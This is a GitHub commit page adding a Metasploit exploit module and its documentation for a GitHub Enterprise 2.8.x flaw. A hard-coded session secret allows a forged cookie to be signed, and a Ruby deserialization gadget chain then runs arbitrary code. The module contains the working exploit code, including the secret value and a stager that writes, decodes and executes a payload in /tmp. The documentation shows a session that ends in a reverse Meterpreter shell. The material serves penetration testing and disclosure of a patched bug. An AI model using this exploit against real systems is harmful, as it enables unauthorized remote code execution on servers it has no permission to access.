Skip to content

Commit 9db2e9f

Browse files
committed
Land rapid7#8146, Add Default Secret & Deserialization Exploit for Github Enterprise
2 parents 51646e4 + 3b062eb commit 9db2e9f

File tree

2 files changed

+263
-0
lines changed

2 files changed

+263
-0
lines changed
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
This module exploits two security issues found in Github Enterprise 2. The first problem is
2+
that the session management uses a hard-coded secret value, which can be abused to sign a
3+
serialized malicious object. The second problem is that the serialized string is passed to
4+
a ```Marshal.load``` API call, which deserializes the malicious object, and executes it. A
5+
malicious attacker can take advantage of these problems to achieve remote code execution.
6+
7+
According to exablue.de, this RCE was reported to GitHub, and the researcher was rewarded
8+
$18,000 total.
9+
10+
## Vulnerable Application
11+
12+
The following versions are affected:
13+
14+
* 2.8.0 - 2.8.6.
15+
16+
For testing purposes, you can download a Github Enterprise image from the following location:
17+
18+
[https://enterprise.github.com/releases/](https://enterprise.github.com/releases/)
19+
20+
This module was specifically tested against version 2.8.0, which can be downloaded here:
21+
22+
[https://github-enterprise.s3.amazonaws.com/esx/releases/github-enterprise-2.8.0.ova](https://github-enterprise.s3.amazonaws.com/esx/releases/github-enterprise-2.8.0.ova)
23+
24+
Before you install the image, you must have a valid key. Start from here:
25+
26+
[https://enterprise.github.com/sn-trial](https://enterprise.github.com/sn-trial)
27+
28+
After signing up for a trial, you should receive an e-mail. The email will instruct you to access
29+
your portal account. In there, you can download your github-enterprise.ghl file, which is a key
30+
to complete installing your Github Enterprise system.
31+
32+
## Using github_enterprise_secret
33+
34+
The module consists of two features: the ```check``` command and the ```exploit``` command.
35+
36+
The ```check``` command determines if the host is vulnerable or not by extracting the hash of the
37+
cookie, and then attempts to create the same hash using the default secret key. If the two match,
38+
it means the module can tamper the cookie, and that makes the server vulnerable to deserialization.
39+
40+
```
41+
msf exploit(github_enterprise_secret) > check
42+
43+
[*] Found cookie value: _gh_manage=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTViZTAwNjg4NDViYmYzNWQzMGZl%0AZTRiYWY2YmU4Mzg2MzQ2NjFjODcxYTAyZDZlZjA0YTQ2MWIzNDBiY2VkMGIG%0AOwBGSSIPY3NyZi50b2tlbgY7AFRJIjFZZ0I5ckVkbWhwclpmNWF5RmVia3Zv%0AQzVKMUVoVUxlRWNEbjRYbHplb2R3PQY7AEY%3D%0A--ab0866fc61ea036b1e83cd65b92c2b6cc5b001ed;, checking to see if it can be tampered...
44+
[*] Data: BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTViZTAwNjg4NDViYmYzNWQzMGZlZTRiYWY2YmU4Mzg2MzQ2NjFjODcxYTAyZDZlZjA0YTQ2MWIzNDBiY2VkMGIGOwBGSSIPY3NyZi50b2tlbgY7AFRJIjFZZ0I5ckVkbWhwclpmNWF5RmVia3ZvQzVKMUVoVUxlRWNEbjRYbHplb2R3PQY7AEY=
45+
[*] Extracted HMAC: ab0866fc61ea036b1e83cd65b92c2b6cc5b001ed
46+
[*] Expected HMAC: ab0866fc61ea036b1e83cd65b92c2b6cc5b001ed
47+
[*] The HMACs match, which means you can sign and tamper the cookie.
48+
[+] 192.168.146.201:8443 The target is vulnerable.
49+
msf exploit(github_enterprise_secret) >
50+
```
51+
52+
If vulnerable, the ```exploit``` command will attempt to gain access of the system:
53+
54+
```
55+
msf exploit(github_enterprise_secret) > exploit
56+
57+
[*] Started reverse TCP handler on 192.168.146.1:4444
58+
[*] Serialized Ruby stager
59+
[*] Sending serialized Ruby stager...
60+
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
61+
[*] Sending stage (1495599 bytes) to 192.168.146.201
62+
[*] Meterpreter session 2 opened (192.168.146.1:4444 -> 192.168.146.201:52454) at 2017-03-23 10:11:17 -0500
63+
[+] Deleted /tmp/htBDuK.bin
64+
[+] Deleted /tmp/kXgpK.bin
65+
[*] Connection timed out
66+
67+
meterpreter >
68+
```
Lines changed: 195 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,195 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::EXE
13+
include Msf::Exploit::FileDropper
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => "Github Enterprise Default Session Secret And Deserialization Vulnerability",
18+
'Description' => %q{
19+
This module exploits two security issues in Github Enterprise, version 2.8.0 - 2.8.6.
20+
The first is that the session management uses a hard-coded secret value, which can be
21+
abused to sign a serialized malicious Ruby object. The second problem is due to the
22+
use of unsafe deserialization, which allows the malicious Ruby object to be loaded,
23+
and results in arbitrary remote code execution.
24+
25+
This exploit was tested against version 2.8.0.
26+
},
27+
'License' => MSF_LICENSE,
28+
'Author' =>
29+
[
30+
'iblue <iblue[at]exablue.de>', # Original discovery, writeup, and PoC (he did it all!)
31+
'sinn3r' # Porting the PoC to Metasploit
32+
],
33+
'References' =>
34+
[
35+
[ 'EDB', '41616' ],
36+
[ 'URL', 'http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html' ],
37+
[ 'URL', 'https://enterprise.github.com/releases/2.8.7/notes' ] # Patched in this version
38+
],
39+
'Platform' => 'linux',
40+
'Targets' =>
41+
[
42+
[ 'Github Enterprise 2.8', { } ]
43+
],
44+
'DefaultOptions' =>
45+
{
46+
'SSL' => true,
47+
'RPORT' => 8443
48+
},
49+
'Privileged' => false,
50+
'DisclosureDate' => 'Mar 15 2017',
51+
'DefaultTarget' => 0))
52+
53+
register_options(
54+
[
55+
OptString.new('TARGETURI', [true, 'The base path for Github Enterprise', '/'])
56+
], self.class)
57+
end
58+
59+
def secret
60+
'641dd6454584ddabfed6342cc66281fb'
61+
end
62+
63+
def check
64+
uri = normalize_uri(target_uri.path, 'setup', 'unlock')
65+
res = send_request_cgi!({
66+
'method' => 'GET',
67+
'uri' => uri,
68+
'vars_get' =>{
69+
'redirect_to' => '/'
70+
}
71+
})
72+
73+
unless res
74+
vprint_error('Connection timed out.')
75+
return Exploit::CheckCode::Unknown
76+
end
77+
78+
unless res.get_cookies.match(/^_gh_manage/)
79+
vprint_error('No _gh_manage value in cookie found')
80+
return Exploit::CheckCode::Safe
81+
end
82+
83+
cookies = res.get_cookies
84+
vprint_status("Found cookie value: #{cookies}, checking to see if it can be tampered...")
85+
gh_manage_value = CGI.unescape(cookies.scan(/_gh_manage=(.+)/).flatten.first)
86+
data = gh_manage_value.split('--').first
87+
hmac = gh_manage_value.split('--').last.split(';', 2).first
88+
vprint_status("Data: #{data.gsub(/\n/, '')}")
89+
vprint_status("Extracted HMAC: #{hmac}")
90+
expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data)
91+
vprint_status("Expected HMAC: #{expected_hmac}")
92+
93+
if expected_hmac == hmac
94+
vprint_status("The HMACs match, which means you can sign and tamper the cookie.")
95+
return Exploit::CheckCode::Vulnerable
96+
end
97+
98+
Exploit::CheckCode::Safe
99+
end
100+
101+
def get_ruby_code
102+
b64_fname = "/tmp/#{Rex::Text.rand_text_alpha(6)}.bin"
103+
bin_fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}.bin"
104+
register_file_for_cleanup(b64_fname, bin_fname)
105+
p = Rex::Text.encode_base64(generate_payload_exe)
106+
107+
c = "File.open('#{b64_fname}', 'wb') { |f| f.write('#{p}') }; "
108+
c << "%x(base64 --decode #{b64_fname} > #{bin_fname}); "
109+
c << "%x(chmod +x #{bin_fname}); "
110+
c << "%x(#{bin_fname})"
111+
c
112+
end
113+
114+
115+
def serialize
116+
# We don't want to run this code within the context of Framework, so we run it as an
117+
# external process.
118+
# Brilliant trick from Brent and Adam to overcome the issue.
119+
ruby_code = %Q|
120+
module Erubis;class Eruby;end;end
121+
module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end
122+
123+
erubis = Erubis::Eruby.allocate
124+
erubis.instance_variable_set :@src, \\"#{get_ruby_code}; 1\\"
125+
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
126+
proxy.instance_variable_set :@instance, erubis
127+
proxy.instance_variable_set :@method, :result
128+
proxy.instance_variable_set :@var, "@result"
129+
130+
session =
131+
{
132+
'session_id' => '',
133+
'exploit' => proxy
134+
}
135+
136+
print Marshal.dump(session)
137+
|
138+
139+
serialized_output = `ruby -e "#{ruby_code}"`
140+
141+
serialized_object = [serialized_output].pack('m')
142+
hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, serialized_object)
143+
144+
return serialized_object, hmac
145+
end
146+
147+
def send_serialized_data(dump, hmac)
148+
uri = normalize_uri(target_uri.path)
149+
gh_manage_value = CGI.escape("#{dump}--#{hmac}")
150+
cookie = "_gh_manage=#{gh_manage_value}"
151+
res = send_request_cgi({
152+
'method' => 'GET',
153+
'uri' => uri,
154+
'cookie' => cookie
155+
})
156+
157+
if res
158+
print_status("Server returned: #{res.code}")
159+
end
160+
end
161+
162+
def exploit
163+
dump, hmac = serialize
164+
print_status('Serialized Ruby stager')
165+
166+
print_status('Sending serialized Ruby stager...')
167+
send_serialized_data(dump, hmac)
168+
end
169+
170+
end
171+
172+
=begin
173+
174+
Handy information:
175+
176+
To deobfuscate Github code, use this script:
177+
https://gist.github.com/wchen-r7/003bef511074b8bc8432e82bfbe0dd42
178+
179+
Github Enterprise's Rack::Session::Cookie saves the session data into a cookie using this
180+
algorithm:
181+
182+
* Takes the session hash (Json) in env['rack.session']
183+
* Marshal.dump the hash into a string
184+
* Base64 the string
185+
* Append a hash of the data at the end of the string to prevent tampering.
186+
* The signed data is saved in _gh_manage'
187+
188+
The format looks like this:
189+
190+
[ DATA ]--[ Hash ]
191+
192+
Also see:
193+
https://github.com/rack/rack/blob/master/lib/rack/session/cookie.rb
194+
195+
=end

0 commit comments

Comments
 (0)